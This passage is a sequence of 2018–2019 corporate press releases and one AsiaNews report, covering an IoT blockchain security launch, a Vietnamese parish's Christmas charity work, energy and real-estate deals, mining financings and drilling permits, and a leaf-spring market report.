SigmaDots, by bringing the power of blockchain-based cybersecurity to the IoT ecosystem. SigmaDots is a serverless architecture based on a next generation blockchain that goes beyond patching deficiencies of scalability, speed, and energy efficiency. It utilizes decentralized architecture that mitigates risk of failures and ensures continuity for service providers. With nearly 25 years of developing connected devices Essence Group is using its experience and knowledge to build advanced cyber-solutions to help others ensure their IoT devices and networks are safe. With SigmaDots, they have developed a ground-breaking security solution in cooperation with leading communications solutions providers. SigmaDots, part of the Essence Group of companies, is testing the cyber protection mechanism in an end-to-end IoT environment together with a partner-one of the world's largest monitoring companies. Results are showing that all assets are protected through the entire architecture. "SigmaDots can safely protect an IoT system from ten to millions of nodes, delivering the foundation for true security," explained SigmaDots GM, Itsik Harpaz. It secures all types of interactions, and verticals including: communications; healthcare; industrial and smart home. "In the future the technology will also support the automotive industry." SigmaDots will be unveiled at the Essence Group booth #42249 during the 2019 Consumer Electronics Show (CES) in Las VegasJanuary 9-12, 2019. About Essence Essence is a global provider of IoT connected-living solutions for communication, security and healthcare service providers, serving households and small-medium businesses. Leveraging 23 years of experience and innovation with a global presence and 20 million devices deployed worldwide, Essence is committed to developing and supporting solutions that enhance partners' businesses and enable people to live fuller, better lives. The multiple award-winning Care@Home Multi-Service Platform is an Aging-in-Place product suite offering seamless home care monitoring indoors and outdoors, allowing independence for seniors and peace of mind to their loved ones. EDITOR'S NOTE: For more information about Essence Group or to arrange to speak with a company spokesperson, please contact Pamela Wadler at 212-966-0024 or pam@trentandcompany.com. by Paul Nguyen Hung Several ethnic minorities live in the Diocese of Lang Son-Cao Bang, amid poverty and social and geographical marginalisation. Believers, seminarians and nuns have responded to the vicar's call "to make sacrifices and meet the material and spiritual needs of the downtrodden". "We bring the warmth of the manger in Bethlehem," said Brother Joseph. Hanoi (AsiaNews) Despite harsh weather conditions and economic hardships, members of That Khe parish, Trang inh district, are preparing for Christmas by taking part in social and charitable initiatives for the poor, the disabled, seniors and children in the highlands. Some 600 strong, the remote Catholic community falls under to Diocese of Lang Son-Cao Bang, on the border between Vietnam and China. The district covers about 19,000 sq km, along 800 km of border, and is spread over three provinces: Lang Son, Cao Bang and Ha Giang. According to official statistics, some 1.7 million people live in the diocesan territory. Most of them earn a living from agriculture, livestock and traditional crafts. The region is home to several ethnic minorities, Nung and the Tay represent 85 per cent of the population. The other 15 per cent are Kinh, Dao, Chinese, San Chay and H'Mong. Tribal people are poor and socially and geographically marginalised. Nevertheless, for Advent, Fr Paul Nguyen Van Thao, vicar at the That Khe Church, and his deputy, Fr Peter Vu Van Hien, called on the community "to make sacrifices and meet the material and spiritual needs of the downtrodden." Some seminarians, Dominican nuns and many believers are thus involved in parish projects. "Christmas is an opportunity for us all to meet without religious discrimination, Brother John told AsiaNews. Despite the cold, priests, religious and lay people have visited and assisted the poor who live in very remote and mountainous areas in That Khe parish." "We have travelled along winding and dangerous mountain roads, Brother Joseph Tran Van Binh said. Priests and believers came here to visit poor families, both Catholic and non-Catholic who live in very hard circumstances. We come to them with a sincere heart full of love. At Christmas time, God calls upon us to bring them the warmth of the manger in Bethlehem." "Everyone, regardless of their religion, is helped or supported in various ways, said Maria Pham Thi Loan, a parishioner. Through social and charitable activities, we are able to visit many people. We share and listen to their thoughts. From them, we receive spiritual gifts, such as honesty and sincerity." For some of the volunteers, "Christmas brings us happiness and his message invites us to reach out to those who have a hard life. It is with these people that we want to share our joy." (Dusseldorf/Munchen, 20th December 2018) - Statkraft, Europe's largest producer of renewable energy, enters the German EV charging market by acquiring 61 percent of Munich based eeMobility GmbH. The company develops charging solutions for company fleets and provides a full service offer. The partnership strengthens eeMobility's position with regards to its future growth ambitions. "We are convinced that the commercial fleet market will play a major role in spreading e-mobility in Germany. Statkraft has long experience in emobility with Norway being the leading market world-wide for EV adoption. We seek to bring those experiences to other European countries, in partnership with leading start-ups that we can help scale", says Bjrn Holsen, Senior Vice President New Business at Statkraft. "eeMobility is well placed with its advanced product offering for employee car fleets in Germany and we look forward to building the company together with the founders", he adds. "For the last four years we have built up an agile enterprise bringing to life our vision of intelligently connecting electric vehicles with energy markets by creating charging solutions that address volatility of renewable energy production" says Klaus Huber, co-founder together with Robin Geisler. "We see a huge potential to accelerate our future growth using Statkraft's expertise from advanced EV markets." adds Robin Geisler. Contracts were signed on 19th December 2018. Statkraft will support eeMobility as shareholder and seek to create and capture synergies between eeMobility, Statkraft's German activities in energy management, retail and with its charging business in Norway. About Statkraft Statkraft is a leading company in hydropower internationally and Europe's largest generator of renewable energy. The Group produces hydropower, wind power, solar power, gas-fired power and supplies district heating. Statkraft is a global company in energy market operations. Statkraft has 3,500 employees in more than 17 countries. About eeMobility eeMobility is a leading provider of innovative charging solutions in the field of e-mobility. The start-up founded in 2015 offers companies a complete range of charging solutions for CO2-free charging of electric vehicles. eeMobility has currently 40 employees providing mobility solutions to more than 1.000 vehicles in commercial fleets. Their products connect the world of energy with mobility business, creating e-mobility solutions for the future. Statkraft press contact: Statkraft, Anne Joeken, Communications Tel. +49 (0)211 60244107 | Mob. +49 (0)163 9611404 | anne.joeken@statkraft.com Social Media Statkraft: YouTube: http://www.youtube.com/user/StatkraftChannel Twitter: http://twitter.com/Statkraft Instagram https://www.instagram.com/statkraft/ Facebook: https://www.facebook.com/statkraft www.statkraft.com eeMobility press contact: eeMobility GmbH, Katharina Chatterjee, Sales & Communications Tel. +49 89 8091330-42 | Mob. +49 151 46344905 k.chatterjee@ee-mobility.com www.ee-mobility.com This announcement is distributed by West Corporation on behalf of West Corporation clients. The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein. Source: Statkraft AS via Globenewswire Nokia Corporation Stock Exchange Release December 20, 2018 at 13:00 (CET +1) Nokia Corporation financial calendar for 2019 Espoo, Finland - In this stock exchange release Nokia provides its financial calendar for 2019, which includes the planned publication dates of its financial reports. Planned publication dates for Nokia's financial reports in 2019: report for Q4 2018 and full year 2018: January 31, 2019; report for Q1 2019: April 25, 2019; report for Q2 2019 and half-year 2019: July 25, 2019; and report for Q3 2019 and January-September 2019: October 24, 2019. Publication of "Nokia in 2018" Nokia plans to publish its "Nokia in 2018" annual report, which includes the review by the Board of Directors and the audited annual accounts, in week 12 of 2019. Nokia's Annual General Meeting Nokia's Annual General Meeting 2019 is planned to be held on May 21, 2019. About Nokia We create the technology to connect the world. Powered by the research and innovation of Nokia Bell Labs, we serve communications service providers, governments, large enterprises and consumers, with the industry's most complete, end-to-end portfolio of products, services and licensing. We adhere to the highest ethical business standards as we create technology with social purpose, quality and integrity. Nokia is enabling the infrastructure for 5G and the Internet of Things to transform the human experience www.nokia.com Media Enquiries: Nokia Communications Tel. +358 (0) 10 448 4900 Email: press.services@nokia.com Jon Peet, Vice President, Corporate Communications This announcement is distributed by West Corporation on behalf of West Corporation clients. The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein. Source: NOKIA via Globenewswire A joint venture between real estate funds managed by Ares Management Corporation (NYSE: ARES) and EDF Invest announced today the acquisition of the IKB office building in Dusseldorf, Germany from IKB Deutsche Industriebank. The transaction closed on February 28, 2019. Built in 1997, the property comprises approximately 58,500 square meters of gross leasable area, split across two distinct but connected buildings. It is located in Kennedydamm, a prominent office submarket of Dusseldorf, and key tenants include IKB, Helaba, Colt and Berkshire Hathaway. IKB will remain the largest tenant in the building. The joint venture plans to transform the property from a primarily owner-occupied bank headquarters to a modern, multi-tenant office campus. Cells Property Investors is the local operating partner of the joint venture. The transaction is the Ares Real Estate Group's latest acquisition in Germany and its fifth acquisition in Dusseldorf over the last two years. Ares has transacted close to 1.8 billon in Germany over the last 24 months. About Ares Management Corporation Ares Management Corporation is a publicly traded, leading global alternative asset manager with approximately $130.7 billion of assets under management as of December 31, 2018 and 18 offices in the United States, Europe, Asia and Australia. Since its inception in 1997, Ares has adhered to a disciplined investment philosophy that focuses on delivering strong risk-adjusted investment returns throughout market cycles. Ares believes each of its three distinct but complementary investment groups in Credit, Private Equity and Real Estate is a market leader based on assets under management and investment performance. Ares was built upon the fundamental principle that each group benefits from being part of the greater whole. For more information, visit www.aresmgmt.com. About EDF Invest EDF Invest is the unlisted investment arm of EDF's Dedicated Assets, the asset portfolio which covers its long-term nuclear decommissioning commitments in France. EDF Invest manages over 5.7 billion equity investments as of December 31, 2018. EDF Invest's portfolio is made of three asset classes: Infrastructure, Real Estate and Private Equity. In Real Estate, EDF Invest's current assets include office properties, hotels and shopping centers in France, Italy and Germany. For more information, visit www.edfinvest.com View source version on businesswire.com: https://www.businesswire.com/news/home/20190314005093/en/ Contacts: For Ares Management Corporation: Investors: Ares Management Corporation Carl Drake, 800-340-6597 cdrake@aresmgmt.com or Priscila Roney, 212-808-1185 proney@aresmgmt.com Media: Mendel Communications Bill Mendel, 212-397-1030 bill@mendelcommunications.com For EDF Invest: Investors, analysts and media: Service de presse EDF, +33 1 40 42 46 37 service-de-presse@edf.fr Toronto, Ontario--(Newsfile Corp. - December 20, 2018) - Pancontinental Resources Corporation (TSXV: PUC) ("Pancon" or the "Company") announced that it closed the first tranche of its previously announced non-brokered private placement through the issuance of 10,526,436 units ("Units") at a price of $0.07 per Unit and 10,125,000 Flow-Through Units (FT Units) through the issuance of 10,125,000 units (FT Units) at a price of $0.08 per FT Unit for a gross proceeds of $1,546,850.52 (the "Offering"). Each Unit and FT Unit include a one-half Common Share Purchase Warrant. Each Full Warrant will entitle the holder to purchase a Common Share at an exercise price of $0.12 for eighteen (18) months from the date of issuance. If at any time after the date that is more than four months and one day following the closing of the Offering, the Common Shares trade on a stock exchange at a volume weighted average trading price of $0.20 or greater per Common Share for a period of 20 consecutive trading days, the Company may accelerate the expiry date of the Warrants by giving notice to the holders thereof, and in such case the Warrants will expire on the 30th day after the date on which such notice is given by the Company. The Company may pay certain finder's fees with respect to gross proceeds raised. The Common Shares and Warrants comprising the Units will be subject to a resale restriction for four months and a day from the date of issuance. Closing of the Offering is subject to receipt of all necessary corporate and regulatory approvals, including the approval of TSX Venture Exchange. All securities issued in connection with the Offering will be subject to a hold period of four months plus a day from the date of issuance and the resale rules of applicable security legislation. About Pancontinental Resources Corporation Pancontinental Resources Corporation (TSXV: PUC) is a Canadian-based mining company exploring four nickel-cobalt-copper projects in Ontario - three within the Montcalm Gabbro Complex near Timmins: Montcalm Project, Gambler Project, and Nova Project; and the McBride Project near Bancroft. Pancon's mission is to generate value through responsible exploration, focusing on prospective assets in proximity to producing or former mines and/or with existing resources. The Company holds a 100% interest in the Jefferson Gold Project in South Carolina, USA. In 2015, Pancon sold its interest in its Australian rare earth element (REE) and uranium properties, formerly held through a joint venture, and retains a 1% gross overriding royalty on 100% of future REE production. For further information, please contact: Layton Croft, President & CEO or Jeanny So, Manager, External Relations E: info@panconresources.com T: +1.416.293.8437 For additional information please visit our new website at www.panconresources.com and our Twitter feed: @PanconResources. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release contains forward-looking information which is not comprised of historical facts. Forward-looking information is characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. Forward-looking information involves risks, uncertainties and other factors that could cause actual events, results, and opportunities to differ materially from those expressed or implied by such forward-looking information. Factors that could cause actual results to differ materially from such forward-looking information include, but are not limited to, changes in the state of equity and debt markets, fluctuations in commodity prices, delays in obtaining required regulatory or governmental approvals, and other risks involved in the mineral exploration and development industry, including those risks set out in the Company's management's discussion and analysis as filed under the Company's profile at www.sedar.com. Forward-looking information in this news release is based on the opinions and assumptions of management considered reasonable as of the date hereof, including that all necessary governmental and regulatory approvals will be received as and when expected. Although the Company believes that the assumptions and factors used in preparing the forward-looking information in this news release are reasonable, undue reliance should not be placed on such information. The Company disclaims any intention or obligation to update or revise any forward-looking information, other than as required by applicable securities laws. SpendEdge, a well-known procurement intelligence solutions provider, has announced the completion of their latest supply chain analysis study for a consumer packaged goods industry client This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20181220005209/en/ Supply chain analysis study for a consumer packaged goods industry client. (Graphic: Business Wire The client is an American consumer packaged goods industry company. The company is based out of Illinois, US and commands an annual revenue of over US$ 40 billion. With delivery and marketing processes becoming more digitalized, the client realized the need to restructure their procurement functions to enhance supply chain visibility and drive profitability. The primary aim of this engagement was to develop an action plan to rebalance their supply base to address the rising demands from global markets. Additionally, by leveraging supply chain analysis, the client wanted to implement a centralized logistics network to centralize their company's logistics operations, resulting in reducing inventory costs. According to the experts at SpendEdge, "Redesigning the entire supply chain system enables businesses to enhance supply chain visibility by maximizing the efficiency of the final outcome." Want to know why SpendEdge is the market leader when it comes to procurement and supply chain analysis solutions? Request a demo to access our complete portfolio of procurement solutions for free. With the help of SpendEdge's supply chain analysis engagement, the client redesigned and revolutionized their logistics management system. This helped them in overcoming the redundancies in the supply chain while creating new value-added processes. This subsequently helped the client to improve transportation and inventory planning and track just-in-time delivery metrics by analyzing shipping schedules. Additionally, the supply chain analysis engagement helped the client improve the inventory system while minimizing costs. To know more about the complete scope of this engagement and the real benefits of supply chain analysis solutions for businesses, request a free proposal SpendEdge's supply chain analysis helped the client to: Minimize cost and overcome supply chain risks Obtain a deeper understanding of global supply capabilities To know more about the supply chain strategies followed by different firms, Talk to an analyst The supply chain analysis also offered predictive insights on: Improving efficiency and visibility throughout the network Centralizing company's logistics operations Read the complete article to know more: https://www.spendedge.com/casestudy/consumer-packaged-goods-supply-chain-analysis Are you interested in purchasing procurement reports? Our subscription platform, SpendEdge Insights, provides ready-to-use procurement market research reports for multiple categories. Now access latest supplier news, innovation landscape, markets insights, supplier tracking, and much more at the click of a button. Start your 7-day FREE trial now. About SpendEdge: SpendEdge shares your passion for driving sourcing and procurement excellence. We are the preferred procurement market intelligence partner for 120+ Fortune 500 firms and other leading companies across numerous industries. Our strength lies in delivering robust, real-time procurement market intelligence reports and solutions. To know more, https://www.spendedge.com/request-free-proposal View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005209/en/ Contacts: SpendEdge Anirban Choudhury Marketing Manager US: +1 630 984 7340 UK: +44 148 459 9299 https://www.spendedge.com/contact-us NOT FOR DISTRIBUTION TO U.S. NEWS WIRE SERVICES OR DISSEMINATION IN THE UNITED STATES. ANY FAILURE TO COMPLY WITH THIS RESTRICTION MAY CONSTITUTE A VIOLATION OF U.S. SECURITIES LAW CALGARY, AB / ACCESSWIRE / December 20, 2018 / Standard Exploration Ltd. ("Standard" or the "Corporation") (SDE: TSXV) is pleased to announce that it has: (i) closed the previously announced non-brokered private placement of common shares ("Common Shares") and units ("Units") of the Corporation, for aggregate gross proceeds of $18,011,000 (the "Private Placement"); (ii) completed the appointment of a new management team (the "New Management Team") and board of directors (the "New Board"); and (iii) closed the acquisition by the Corporation of all of the limited partnership units of Gulf Pine Energy Partners, LP ("Gulf Pine"). Private Placement Pursuant to the Private Placement, Standard issued an aggregate of 254,600,000 Units and 645,950,000 Common Shares for aggregate gross proceeds of $18,011,000. Each Unit is comprised of one Common Share and one performance-based Common Share purchase warrant (each, a "Performance Warrant"). Each Performance Warrant entitles the holder to purchase one Common Share at a price of $0.02 for a period of five years. The Performance Warrants vest and become exercisable as to one-third upon the 20-day volume weighted average trading price of the Common Shares (the "Market Price") equaling or exceeding $0.03, an additional one-third upon the Market Price equaling or exceeding $0.04 and a final one-third upon the Market Price equaling or exceeding $0.05. In addition, in the event the Market Price equals or exceeds $0.08, each Performance Warrant shall be exercisable for 1.5 Common Shares, provided that, at the time of exercise in respect of the additional 0.5 of a Common Share per Performance Warrant (the "Performance Incentive"), the Common Shares are listed on the facilities of a recognized stock exchange (other than the TSX Venture Exchange ("TSXV")), the Common Shares are acquired for cash or for the securities of a company listed on a recognized stock exchange (other than the TSXV). Pursuant to applicable securities laws, all securities issued pursuant to the Private Placement will be subject to a hold period of four months plus one day following the date of issuance of such securities. Completion of the Private Placement is subject to certain conditions, including but not limited to, final approval by the TSXV. New Management Team and New Board The Corporation is also pleased to announce that, contemporaneous with the closing of the Private Placement, the previously announced appointment of the New Management Team was completed and the former board of directors and management team of the Corporation resigned. The New Management Team is led by Ian Atkinson as President, Chief Executive Officer and a director, Calvin Yau, as Vice President, Finance and Chief Financial Officer, Chris Birchard, Vice President, Geoscience and Gary McMurren, Vice President, Engineering. Joining Mr. Atkinson on the New Board are Bruce Beynon, Michael G. Kohut, Tamara MacDonald, Andrew McCreath, C. Neil Smith and R. Steven Smith, with Sony Gill serving as Corporate Secretary. The New Management Team has extensive experience in creating shareholder value on an absolute and per share basis through a focused full-cycle business plan and believes the current market environment provides an excellent opportunity to reposition the Corporation as a high growth junior oil and gas company. The New Management team believes there is an excellent opportunity to consolidate high quality, high netback, low decline oil and gas assets in under-exploited basins in the US Gulf Coast states at highly attractive metrics. The New Management Team will focus away from high-priced and infrastructure constrained shale basins in the US, choosing instead to establish a dominant position in proven oil and gas basins which attract some of the best commodity pricing in the US. Gulf Pine Acquisition The Corporation is also pleased to announce that it has acquired all of the issued and outstanding limited partnership units of Gulf Pine for cash consideration of USD$3,425,000. Gulf Pine is a limited partnership existing under the laws of the State of Delaware and a private junior oil and gas exploration, development and production company formed for the purpose of acquiring, and subsequently enhancing, producing oil and gas properties primarily in Alabama and Mississippi (the "Gulf Pine Assets"). The Gulf Pine Assets consist of more than 29,000 net acres of developed land, along with 30,000 net acres of undeveloped land in Alabama and Mississippi. The corporate production base of approximately 1,700 boe/d (14% oil) comes from more than two hundred wells producing mainly from 4 fields in central Mississippi that exhibit a combined annual decline of less than 15%. The majority of the assets are operated and are typified by high working interest (>90%) utilizing company owned infrastructure with excess capacity. This will allow the Corporation to control the pace of development and growth. The New Management Team has identified a significant infill drilling inventory of stacked pay locations for both oil and gas opportunities on the held by production lands that will take advantage of the superior LLS oil pricing and Henry Hub basis gas pricing in the region. The producing assets generally exhibit very low recovery factors in multiple, large oil and gas in place reservoirs which will enable the New Management Team to use their extensive experience in horizontal drilling and multistage fracturing to optimize recovery from the assets. Completion of the acquisition is subject to certain conditions, including but not limited to, final approval by the TSXV. Name Change and Consolidation The Corporation intends to (i) complete a change of name of the Corporation from "Standard Exploration Ltd." to "Southern Energy Corp." (the "Name Change"); and (ii) complete a consolidation of the Common Shares on the basis of one post-consolidation Common Share for up to every 5 pre-consolidation Common Shares (the "Consolidation"). The Name Change and the Consolidation have each received the approval of the shareholders and is subject to the approval of the TSXV. Financial Advisors Eight Capital and Laurentian Bank acted as financial advisors to the Corporation in connection with the transactions. Additional Information For further information, please contact: Ian Atkinson President & Chief Executive Officer Calvin Yau Vice President, Finance & Chief Financial Officer Suite 2400, 333 - 7th Avenue S.W. Suite 2400, 333 - 7th Avenue S.W. T: 587-287-5401 T: 587-287-5402 Forward Looking and Cautionary Statements This news release may include forward-looking statements including opinions, assumptions, estimates, the Corporation's assessment of future plans and operations, and, more particularly, statements concerning the business strategy of the Corporation. When used in this document, the words "will," "anticipate," "believe," "estimate," "expect," "intent," "may," "project," "should," and similar expressions are intended to be among the statements that identify forward-looking statements. The forward-looking statements are founded on the basis of expectations and assumptions made by the Corporation which include, but are not limited to, the timing of the receipt of the required regulatory approvals and the future operations of, and transactions completed by the Corporation. Forward-looking statements are subject to a wide range of risks and uncertainties, and although the Corporation believes that the expectations represented by such forward-looking statements are reasonable, there can be no assurance that such expectations will be realized. Any number of important factors could cause actual results to differ materially from those in the forward-looking statements including, but not limited to, regulatory and third party approvals not being obtained, the ability to implement corporate strategies, the state of domestic capital markets, the ability to obtain financing, changes in general market conditions and other factors more fully described from time to time in the reports and filings made by the Corporation with securities regulatory authorities. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES. ANY FAILURE TO COMPLY WITH THIS RESTRICTION MAY CONSTITUTE A VIOLATION OF U.S. SECURITIES LAWS. SOURCE: Standard Exploration Ltd. View source version on accesswire.com:https://www.accesswire.com/531055/STANDARD-EXPLORATION-LTD-ANNOUNCES-CLOSING-OF-RECAPITALIZATION-FINANCING-APPOINTMENT-OF-NEW-MANAGEMENT-TEAM-AND-BOARD-OF-DIRECTORS-AND-COMPLETION-OF-GULF-COAST-STATES-STRATEGIC-ACQUISITION Toronto, Ontario--(Newsfile Corp. - December 20, 2018) - Royal Road Minerals Limited (TSXV: RYR) ("Royal Road" or the "Company") is pleased to announce that it has received permission from the Ministry of Environment and Natural Resources in Nicaragua to complete two 1000 meter deep drill holes to test the porphyry copper and gold potential of its Los Andes project in Boaco Department of western Nicaragua. The permission is a Modification of the Company's current Environmental Permit and provides specifically for the drilling of two diamond drill holes of no deeper than 1000m vertical depth from two drilling locations at the Company's Carrao prospect area (Figure 1). The permission is provided for a period of 18-months commencing from the 18th of December 2018. The Los Andes Copper Gold project forms part of the Company's 50-50 Strategic-Alliance agreement (see press release; September 6, 2017) with Mineros Nicaragua (a subsidiary of Colombia's Grupo Mineros S.A. MINEROS:CB). The project is characterized by a 7 kilometer long, strongly altered caldera-controlled "lithocap" which hosts anomalous copper, gold and pathfinder elements in rock-chip geochemical samples. Previous exploration (Caza Gold - acquired by Royal Road, see press release; March 15, 2017) was focused principally on testing the gold-potential of the project. Exploratory drilling campaigns conducted in 2014 and 2015 targeted silicified lithocaps and intersected strong alteration and anomalous copper and gold. In 2015, an airborne geophysical survey was conducted over the area and highlighted a well-defined magnetic anomaly at the southern limit of the caldera structure, now known as the Carrao prospect area. Three drill holes were drilled in the area. All drill holes intersected anomalous copper mineralization with one drill hole (QZP-003), intersecting some 150 meters of massive pyrite, of a style interpreted to be consistent with the upper parts (pyrite-shell) of an underlying porphyry copper-gold system. Recent modelling and re-interpretation of the geochemical data collected from over 1500 rock samples, together with new soil geochemical analyses and short-wave Infrared (SWIR) satellite imagery, have highlighted an area of "porphyry core-indicator" and "porphyry core-specific" minerals and metals supporting the interpretation of an underlying porphyry copper-gold body. The geochemical and geophysical anomalies indicate that any potentially economic mineralization would be located at a depth in excess of 200 meters below the surface. The Royal Road exploration team has carefully positioned two scout drill holes to test the underlying porphyry copper-gold target (see Figure 1). Figure 1 To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/4008/41786_royalroad1enhanced.jpg "We are grateful for the support of our local communities and for the hard work of our social and environmental teams who worked in close collaboration with our partner the Centro de Entendimiento con la Naturaleza, to obtain these drilling permissions," said Dr. Tim Coughlin, Royal Road's President and CEO. "We look forward to testing the potential of this new target and hope to commence drilling as soon as possible in 2019." Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. The information in this news release was compiled, reviewed and verified by Dr. Tim Coughlin, BSc (Geology), MSc (Exploration and Mining), PhD (Structural Geology), FAusIMM, President and CEO of Royal Road Minerals Ltd and a qualified person as defined by National Instrument 43-101. Royal Road Minerals employees are instructed to follow standard operating and quality assurance procedures intended to ensure that all sampling techniques and sample results meet international reporting standards. More information can be found on Royal Road Minerals web site at www.royalroadminerals.com. Cautionary statement: This news release contains certain statements that constitute forward-looking information and forward-looking statements within the meaning of applicable securities laws (collectively, "forward-looking statements") including statements relating to the Strategic-Alliance and those describing the Company's future plans and the expectations of its management that a stated result or condition will occur. Such forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause the actual results, performance or achievements of the Company, or developments in the Company's business or in the mineral resources industry, or with respect to the Strategic-Alliance, to differ materially from the anticipated results, performance, achievements or developments expressed or implied by such forward-looking statements. Forward-looking statements include all disclosure regarding possible events, conditions or results of operations that is based on assumptions about, among other things, future economic conditions and courses of action, and assumptions related to government approvals, and anticipated costs and expenditures. The words "plans", "prospective", "expect", "intend", "intends to" and similar expressions identify forward looking statements, which may also include, without limitation, any statement relating to future events, conditions or circumstances. Forward-looking statements of the Company contained in this news release, which may prove to be incorrect, include, but are not limited to, those related to the Strategic-Alliance, Mineros Nicaragua, and the Company's plans exploration plans. The Company cautions you not to place undue reliance upon any such forward-looking statements, which speak only as of the date they are made. There is no guarantee that the anticipated benefits of the Alliance and the Company's business plans or operations will be achieved. The risks and uncertainties that may affect forward-looking statements include, among others: economic market conditions, anticipated costs and expenditures, government approvals, and other risks detailed from time to time in the Company's filings with Canadian provincial securities regulators or other applicable regulatory authorities. Forward-looking statements included herein are based on the current plans, estimates, projections, beliefs and opinions of the Company management and, in part, on information provided to the Company by Mineros Nicaragua, and, except as required by law, the Company does not undertake any obligation to update forward-looking statements should assumptions related to these plans, estimates, projections, beliefs and opinions change. For further information please contact: Dr. Timothy Coughlin President and Chief Executive Officer USA-Canada toll free 1800 6389205 +44 (0)1534 887166 +44 (0)7797 742800 info@royalroadminerals.com DETROIT, December 20, 2018 /PRNewswire/ -- Stratview Research announces the launch of a new research report on Automotive Leaf Spring Market by Vehicle Type (Passenger Car, Light-Duty Commercial Vehicle, Medium- & Heavy-Duty Vehicle, and Others), by Spring Type (Parabolic Leaf Spring and Multi-Leaf Spring), by Material Type (Metal Leaf Springs and Composite Leaf Springs), by Location Type (Front Suspension and Rear Suspension), by Manufacturing Process Type (Shot Peening, HP-RTM, and Others), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024. (Logo: https://mma.prnewswire.com/media/660595/Stratview_Research_Logo.jpg ) This market report, from Stratview Research, studies leaf spring in the global automotive industry over the trend and forecast period of 2013 to 2018 and 2019 to 2024, respectively. The report provides detailed insights on the market dynamics to enable informed business decision making and growth strategy formulation based on the opportunities present in the market. Automotive Leaf Spring Market: Research Highlights Leaf spring is a spring comprising leaves and is commonly used for suspension in the wheeled vehicles. It is a semi-elliptical arm consisting of one or more leaves, which are strips of steel or other materials that are meant to flex under pressure yet maintain their original shape when not under pressure. Leaf spring is one of the oldest suspension components and is still being used in most of the LCVs and MHCVs. Over a period, the automotive industry has witnessed a remarkable transition in the leaf spring's technology, material, style, design, etc. There are countless styles of leaf-spring suspension available worldwide featuring different mounting points, shapes, and sizes. At the same time, there are a lot of R&D activities happening for the development of lightweight alternatives of heavier steel leaf springs. Composite leaf springs are the outcome of these activities, offering significant weight saving advantage over steel springs without sacrificing performance. As per Stratview Research, the next five years for the leaf spring market in the automotive industry seems attractive with significant growth opportunities in both, OE as well as aftermarket segments. The market is set to reach an estimated value of US$ 5.8 billion in 2024, witnessing a healthy growth in the coming years. Several factors are bolstering the demand for leaf springs among which, rising production of LCVs and MHCVs is the biggest growth factor contributing to a greater demand for leaf springs. Other noticeable driving factors are advancements in the leaf spring technology, such as parabolic leaf springs; greater demand for lightweight springs, especially composite leaf springs; and rising automotive fleet. Click here to browse the detailed TOC of the report The author of the report cited that MHCV dominates the market in terms of value and is likely to maintain its dominance in the coming five years as well. Large production base of MHCVs coupled with high penetration of leaf springs in MHCVs and large MHCV fleet are the key whys and wherefores behind the dominance of MHCVs in the market. Weight reduction is one of the mega trends in the automotive industry. It can be achieved primarily through introduction of better materials, design optimization, and better manufacturing processes. Selection of any material for an application is based on the relative cost as well as the strength of the material. There are several advanced materials available with light-weighting advantage. Composite materials are one of them with elastic strain energy, better fatigue resistance, and higher strength-to-weight ratio compared to steel. It provides significant weight reduction with adequate improvement in the mechanical properties and is one of the best replacement materials for conventional steel. Based on the material type, steel leaf spring is expected to remain the larger spring type in the next five years; however, composite spring is likely to witness the higher growth in the same period. Composite springs offer excellent strength-to-weight ratio, fatigue resistance, and natural frequency and are about five times more durable than a steel spring. Internal damping in the composite materials leads to excellent absorption of vibration energy within the parts, resulting in, a reduced transmission of vibration noise to the neighboring structures. Click here and ask for a free sample of the exhaustive report In terms of region, Asia-Pacific is expected to remain the largest market for leaf springs in the foreseen future, because of increasing production of MHCVs in the developing Asian economies, such as China and India. China, Japan, and South Korea are likely to remain the major markets in the region; however, India is likely to be the new growth engine of the region's market in the coming five years. Europe and North America, other major markets, are also likely to have a positive outlook in the coming five years. The global automotive leaf springs market is highlyfragmented with the presence of more than 100 global as well as regional players. The key automotive leaf spring manufacturers are Rassini, Hendrickson, Jamna Auto Industries, Dongfeng Motors, and IFC Composite (for composite leaf springs). New product development, capacity expansion, formation of strategic alliances are some of the key strategies adopted by the major players to gain a competitive edge in the market. Report Features This report provides market intelligence in the most comprehensive way. The report structure has been kept such that it offers maximum business value. It provides critical insights on the market dynamics and will enable strategic decision making for the existing market players as well as those willing to enter the market. The following are the key features of the report: Market structure: Overview, industry life cycle analysis, supply chain analysis Market environment analysis: Growth drivers and constraints, Porter's five forces analysis, SWOT analysis Market trend and forecast analysis Market segment trend and forecast Competitive landscape and dynamics: Market share, product portfolio, product launches, etc. Attractive market segments and associated growth opportunities Emerging trends Strategic growth opportunities for the existing and new players Key success factors This report studies leaf spring market in the global automotive industry and has segmented the market in seven ways, keeping in mind the interest of all the stakeholders across the value chain. Following are the seven ways in which the market is segmented: Automotive Leaf Spring Market by Vehicle Type: Passenger Car (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Light-Duty Commercial Vehicles (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Medium- & Heavy-Duty Commercial Vehicles (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Others (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Automotive Leaf Spring Market by Spring Type: Parabolic Springs (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Multi-Leaf Springs (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Automotive Leaf Spring Market by Material Type: Metal Leaf Springs (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) Composite Leaf Springs (Regional Analysis: North America , Europe , Asia-Pacific , and RoW) 